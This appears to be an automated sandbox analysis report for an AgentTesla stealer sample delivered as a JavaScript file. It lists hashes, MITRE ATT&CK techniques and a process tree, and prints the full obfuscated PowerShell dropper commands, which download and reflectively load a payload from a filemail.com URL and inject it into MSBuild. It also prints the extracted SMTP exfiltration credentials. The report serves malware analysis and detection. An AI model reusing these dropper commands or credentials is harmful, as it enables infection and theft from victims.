agenttesla | 791db72c082562ed4c4b8579dd83fddf3f30ef6af450f72757ded6d686fbd300

General

Target

791db72c082562ed4c4b8579dd83fddf3f30ef6af450f72757ded6d686fbd300.js
Size

134KB
MD5

8bba05d98ae1ac9cc82906a4b0009927
SHA1

7b999d1f99203e2aa259fa3576ccee0cc4edfb2a
SHA256

791db72c082562ed4c4b8579dd83fddf3f30ef6af450f72757ded6d686fbd300
SHA512

e643617e43323e19dccb9b94f2076f6b3f7be87e38ab3bae9e5f0698df1b24896f3fb8013eb1452ac143c65b06f884a588e3a9214431352bc49e6499b75df7bb
SSDEEP

3072:VfZR0BBn6Dxw8V/QaKkfi60sRrdBn6Dxw8V/QaKkfiu:rmBn61wkYSP9RpBn61wkYSr

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4864	powershell.exe
23	4864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3476	powershell.exe
4864	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4864 set thread context of 4552	4864	powershell.exe	101

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3476	powershell.exe
3476	powershell.exe
4864	powershell.exe
4864	powershell.exe
4552	MSBuild.exe
4552	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	4552	MSBuild.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4516 wrote to memory of 3476	4516	wscript.exe	83
PID 4516 wrote to memory of 3476	4516	wscript.exe	83
PID 3476 wrote to memory of 4864	3476	powershell.exe	85
PID 3476 wrote to memory of 4864	3476	powershell.exe	85
PID 4864 wrote to memory of 4552	4864	powershell.exe	101
PID 4864 wrote to memory of 4552	4864	powershell.exe	101
PID 4864 wrote to memory of 4552	4864	powershell.exe	101
PID 4864 wrote to memory of 4552	4864	powershell.exe	101
PID 4864 wrote to memory of 4552	4864	powershell.exe	101
PID 4864 wrote to memory of 4552	4864	powershell.exe	101
PID 4864 wrote to memory of 4552	4864	powershell.exe	101
PID 4864 wrote to memory of 4552	4864	powershell.exe	101

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\791db72c082562ed4c4b8579dd83fddf3f30ef6af450f72757ded6d686fbd300.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACAAJABTAEgAZQBsAEwAaQBkAFsAMQBdACsAJABzAEgARQBsAGwAaQBkAFsAMQAzAF0AKwAnAFgAJwApACAAKAAgACgAKAAnADAAYgBFAGkAbQBhAGcAZQBVAHIAbAAnACsAJwAgAD0AIABiADAAOQBoAHQAdABwAHMAOgAvAC8AMQAwADEANwAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwBmAGkAbABlAC8AZwBlAHQAPwBmAGkAbABlAGsAZQB5AD0AMgBBAGEAXwAnACsAJwBiAFcAbwAnACsAJwA5AFIAZQB1ADQAJwArACcANQB0ADcAQgBVADEAawBWAGcAcwBkADkAcABUADkAcABnAFMAUwBsAHYAUwB0AEcAcgBuAFQASQBDAGYARgBoAG0AVABLAGoAMwBMAEMANgBTAFEAdABJAGMATwBjAF8AVAAzACcAKwAnADUAdwAmAHAAawBfAHYAaQBkAD0AZgBkADQAZgA2ADEANABiAGIAMgAwADkAYwA2ADIAYwAxADcAMwAwADkANAA1ADEANwA2AGEAMAAnACsAJwA5ADAANABmACAAYgAwADkAOwAwAGIARQB3AGUAJwArACcAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAMABiAEUAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAwAGIARQB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAMABiAEUAaQBtAGEAZwBlAFUAcgBsACkAOwAwAGIARQBpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQAJwArACcARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAwAGIARQBpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAwAGIARQBzAHQAYQByAHQARgBsAGEAJwArACcAZwAgAD0AIABiACcAKwAnADAAOQA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+AGIAMAA5ADsAMABiAEUAZQAnACsAJwBuAGQARgBsAGEAZwAgAD0AIABiADAAOQA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AYgAwADkAOwAwACcAKwAnAGIARQBzAHQAYQByAHQASQBuAGQAZQB4ACcAKwAnACAAPQAgADAAYgBFAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoADAAYgBFAHMAdABhAHIAdABGAGwAYQBnACkAOwAwAGIARQBlAG4AZABJAG4AZABlAHgAIAA9ACAAMABiAEUAaQBtAGEAZwBlAFQAZQAnACsAJwB4AHQALgBJAG4AZABlAHgATwBmACgAMABiAEUAZQBuAGQARgBsAGEAZwApADsAMABiAEUAcwB0AGEAcgB0AEkAbgAnACsAJwBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAwAGIARQBlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgADAAYgBFAHMAdABhAHIAdAAnACsAJwBJAG4AZABlAHgAJwArACcAOwAwAGIARQBzAHQAYQByAHQASQBuAGQAZQAnACsAJwB4ACAAKwA9ACAAMAAnACsAJwBiAEUAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ADAAYgBFAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgADAAYgBFAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAwAGIARQBzAHQAYQByAHQASQBuAGQAZQB4ADsAMABiAEUAYgBhAHMAZQA2ADQAJwArACcAQwBvAG0AbQBhAG4AZAAgACcAKwAnAD0AIAAwAGIARQBpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMABiAEUAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJwArACcAMABiAEUAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ADAAYgBFAGIAYQBzAGUANgA0AFIAZQB2AGUAJwArACcAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoADAAJwArACcAYgBFAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBUAG8AQwBoAGEAcgBBAHIAcgBhAHkAKAApACAANwBVAEIAIABGAG8AcgBFAGEAYwAnACsAJwBoAC0AJwArACcATwBiAGoAZQBjAHQAIAB7ACAAMABiAEUAXwAgAH0AKQBbAC0AMQAuAC4ALQAoADAAYgBFAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBMACcAKwAnAGUAbgBnAHQAaAApAF0AOwAwAGIAJwArACcARQBjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAJwArACcAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAMABiAEUAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACkAOwAwAGIARQBsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsACcAKwAnAHkAXQA6ADoATAAnACsAJwBvAGEAZAAoADAAJwArACcAYgBFAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAwAGIARQB2AGEAaQBNAGUAdABoAG8AZAAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAYgAwADkAVgBBAEkAYgAwADkAKQA7ADAAYgBFAHYAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAAwAGIARQBuAHUAbABsACwAIABAACgAYgAwADkAdAB4AHQALgB5AHIAcgBlAGIAawBpAGwAYQBtAC8AdgBlAGQALgAyAHIALgAzADkAYgAzADQANQAzACcAKwAnADAAMgBhADAANwA1AGIAMQBiAGMAMABkADQANQBiADYAMwAyAGUAYgA5ACcAKwAnAGUAZQA2ADIALQBiAHUAcAAvAC8AOgBzAHAAdAB0AGgAYgAwADkALAAgAGIAMAA5AGQAZQAnACsAJwBzAGEAdABpAHYAYQBkAG8AYgAwADkALAAgAGIAMAA5AGQAZQBzAGEAdABpAHYAYQBkAG8AYgAwADkALAAgAGIAMAA5ACcAKwAnAGQAZQBzAGEAdABpAHYAYQBkAG8AYgAwADkALAAgAGIAMAA5AE0AUwBCAHUAaQBsAGQAYgAwADkALAAgAGIAMAA5AGQAZQBzAGEAdABpAHYAYQBkAG8AYgAwADkALAAgAGIAMAA5AGQAZQBzAGEAdABpAHYAYQBkAG8AYgAwADkALABiADAAOQBkAGUAcwBhAHQAaQB2AGEAZABvAGIAMAA5ACwAYgAwADkAZABlAHMAYQB0AGkAdgBhAGQAbwBiADAAOQAsACcAKwAnAGIAMAA5AGQAZQBzAGEAdABpAHYAJwArACcAYQBkAG8AYgAwACcAKwAnADkALABiADAAOQAnACsAJwBkAGUAJwArACcAcwBhAHQAaQB2AGEAZABvAGIAMAA5ACwAYgAwADkAZABlAHMAYQB0AGkAdgBhAGQAbwBiADAAOQAsAGIAMAA5ADEAYgAwADkALABiADAAOQBkAGUAcwBhAHQAaQB2AGEAZABvAGIAMAA5ACkAKQA7ACcAKQAgACAALQBDAHIAZQBQAEwAQQBDAGUAJwA3AFUAQgAnACwAWwBjAGgAYQByAF0AMQAyADQAIAAtAHIARQBwAEwAYQBjAEUAIAAoAFsAYwBoAGEAcgBdADQAOAArAFsAYwBoAGEAcgBdADkAOAArAFsAYwBoAGEAcgBdADYAOQApACwAWwBjAGgAYQByAF0AMwA2AC0AcgBFAHAATABhAGMARQAgACAAKABbAGMAaABhAHIAXQA5ADgAKwBbAGMAaABhAHIAXQA0ADgAKwBbAGMAaABhAHIAXQA1ADcAKQAsAFsAYwBoAGEAcgBdADMAOQApACAAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHelLid[1]+$sHEllid[13]+'X') ( (('0bEimageUrl'+' = b09https://1017.filemail.com/api/file/get?filekey=2Aa_'+'bWo'+'9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0'+'904f b09;0bEwe'+'bClient = New-Object System.Net.WebClient;0bEimageBytes = 0bEwebClient.DownloadData(0bEimageUrl);0bEimageText = [System.Text.Encoding]::UT'+'F8.GetString(0bEimageBytes);0bEstartFla'+'g = b'+'09<<BASE64_START>>b09;0bEe'+'ndFlag = b09<<BASE64_END>>b09;0'+'bEstartIndex'+' = 0bEimageText.IndexOf(0bEstartFlag);0bEendIndex = 0bEimageTe'+'xt.IndexOf(0bEendFlag);0bEstartIn'+'dex -ge 0 -and 0bEendIndex -gt 0bEstart'+'Index'+';0bEstartInde'+'x += 0'+'bEstartFlag.Length;0bEbase64Length = 0bEendIndex - 0bEstartIndex;0bEbase64'+'Command '+'= 0bEimageText.Substring(0bEstartIndex, '+'0bEbase64Length);0bEbase64Reve'+'rsed = -join (0'+'bEbase64Command.ToCharArray() 7UB ForEac'+'h-'+'Object { 0bE_ })[-1..-(0bEbase64Command.L'+'ength)];0b'+'EcommandBytes = [System.Conver'+'t]::FromBase64String(0bEbase64Reversed);0bEloadedAssembly = [System.Reflection.Assembl'+'y]::L'+'oad(0'+'bEcommandBytes);0bEvaiMethod = [dnlib.IO.Home].GetMethod(b09VAIb09);0bEvaiMethod.Invoke(0bEnull, @(b09txt.yrrebkilam/ved.2r.39b3453'+'02a075b1bc0d45b632eb9'+'ee62-bup//:sptthb09, b09de'+'sativadob09, b09desativadob09, b09'+'desativadob09, b09MSBuildb09, b09desativadob09, b09desativadob09,b09desativadob09,b09desativadob09,'+'b09desativ'+'adob0'+'9,b09'+'de'+'sativadob09,b09desativadob09,b091b09,b09desativadob09));') -CrePLACe'7UB',[char]124 -rEpLacE ([char]48+[char]98+[char]69),[char]36-rEpLacE ([char]98+[char]48+[char]57),[char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3un02qps.0fp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3476-1-0x000001FC393E0000-0x000001FC39402000-memory.dmp

Filesize
136KB

Download
memory/3476-11-0x00007FFB66540000-0x00007FFB67001000-memory.dmp

Filesize
10.8MB

Download
memory/3476-12-0x00007FFB66540000-0x00007FFB67001000-memory.dmp

Filesize
10.8MB

Download
memory/3476-22-0x00007FFB66543000-0x00007FFB66545000-memory.dmp

Filesize
8KB

Download
memory/3476-23-0x00007FFB66540000-0x00007FFB67001000-memory.dmp

Filesize
10.8MB

Download
memory/3476-31-0x00007FFB66540000-0x00007FFB67001000-memory.dmp

Filesize
10.8MB

Download
memory/3476-0-0x00007FFB66543000-0x00007FFB66545000-memory.dmp

Filesize
8KB

Download
memory/4552-25-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4552-32-0x0000000005B40000-0x00000000060E4000-memory.dmp

Filesize
5.6MB

Download
memory/4552-33-0x0000000005720000-0x0000000005786000-memory.dmp

Filesize
408KB

Download
memory/4552-34-0x00000000069C0000-0x0000000006A10000-memory.dmp

Filesize
320KB

Download
memory/4552-35-0x0000000006AB0000-0x0000000006B4C000-memory.dmp

Filesize
624KB

Download
memory/4552-36-0x0000000006CF0000-0x0000000006D82000-memory.dmp

Filesize
584KB

Download
memory/4552-37-0x0000000006CC0000-0x0000000006CCA000-memory.dmp

Filesize
40KB

Download
memory/4864-24-0x000002552AA60000-0x000002552ABB8000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads